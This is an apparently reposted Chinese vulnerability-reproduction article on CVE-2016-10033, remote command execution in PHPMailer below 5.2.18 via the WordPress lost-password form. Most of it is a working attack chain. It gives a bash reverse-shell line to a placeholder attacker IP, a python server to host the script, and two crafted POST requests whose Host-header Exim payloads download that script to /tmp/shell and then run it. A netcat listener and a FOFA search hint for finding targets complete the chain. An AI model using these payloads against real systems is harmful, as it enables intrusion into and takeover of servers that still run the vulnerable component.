CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

图片[1]-CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞-安全小天地

0x03 漏洞复现

漏洞影响: PHPMailer < 5.2.18 和 WordPress、Drupal、1CRM、Joomla!等使用了PHPMailer的开源CMS

FOFA:WordPress注:该漏洞利用条件比较苛刻,依赖于ssh-agent进程。这个进程默认不启动,且只在多主机间免密码登录时才会用到。

1.目录下存放一个反弹shell的脚本1.txt,并使用python3开启80端口用作web下载服务公网环境下需要域名)

bash -i >& /dev/tcp/x.x.x.x/7777 0>&1 #反弹shell脚本1.txt
python3 -m http.server 80 #python3 web服务
图片[2]-CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞-安全小天地

2.抓包构造payload,执行下载此脚本到/tmp/shell(注:user_login处一定要是存在的用户名,报文中Host中的x.x.x.x放域名或IP

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}x.x.x.x${substr{0}{1}{$spool_directory}}1.txt}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/wp-login.php?action=lostpassword
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

user_login=11&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%8
图片[3]-CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞-安全小天地

3.监听7777端口

nc.exe -lvvp 7777
图片[4]-CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞-安全小天地

4.构造payload执行刚刚上传的/tmp/shell脚本,得到一个shell

POST /wp-login.php?action=lostpassword HTTP/1.1
Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Origin: http://x.x.x.x:8080
DNT: 1
Connection: close
Referer: http://x.x.x.x:8080/wp-login.php?action=lostpassword
Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

user_login=11&redirect_to=&wp-submit=%E8%8E%B7%E5%8F%96%E6%96%B0%E5%AF%86%E7%A0%81
图片[5]-CVE-2016-10033 WordPress PHPMailer(版本 < 5.2.18)远程命令执行漏洞-安全小天地
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容